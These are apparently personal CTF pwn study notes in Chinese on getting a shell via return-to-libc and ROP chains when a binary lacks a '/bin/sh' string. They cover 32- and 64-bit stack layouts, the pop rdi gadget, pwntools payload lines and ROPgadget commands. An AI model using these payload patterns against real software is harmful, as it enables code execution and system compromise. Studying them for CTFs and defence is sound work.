0%

system无内含binsh解法(已知两者地址版)

system无内含bin/sh解法

32位的分布:

返回地址+下一次的返回地址+参数1+参数2+…

eg:p32(system_adder)+p(0)+p(bin/sh_adder)

64位的分布

首先覆盖掉buf和rbp,然后是pop rdi; ret指令的地址,再接着是’/bin/sh’字符串的地址,最后是system()函数的地址。

流程为:子函数返回到pop rdi; ret处,该指令会将当前栈顶的元素(’/bin/sh’字符串的地址)出栈并存入rdi中,并返回到下一条指令处。此时栈中就只有system()函数的地址了,所以下一条指令正是system(),而它需要的参数正好就在rdi寄存器中,这样就执行了system(‘/bin/sh’)

write函数参数含义

stdin,stdout,stderr是随着计算机系统的开启默认打开的,

其中0就是stdin表示输入流,指从键盘输入,1代表stdout,2代表stderr,1,2默认是显示器

payload=b’a’*(offset+8)+ p64(rdi) + p64(sh) + p64(ret) + p64(sys)

payload2=b’a’*offset+ p64(ret)+ p64(rdi) + p64(sh) + p64(sys)

ROP链实现execve系统调用,这里我们可以借助ROPgadget工具自动生成ropchain,命令行如下:ROPgadget --binary 文件名 --ropchain

ROPgadget –binary pwn | grep “pop rdi

shell=elf.plt[‘system’]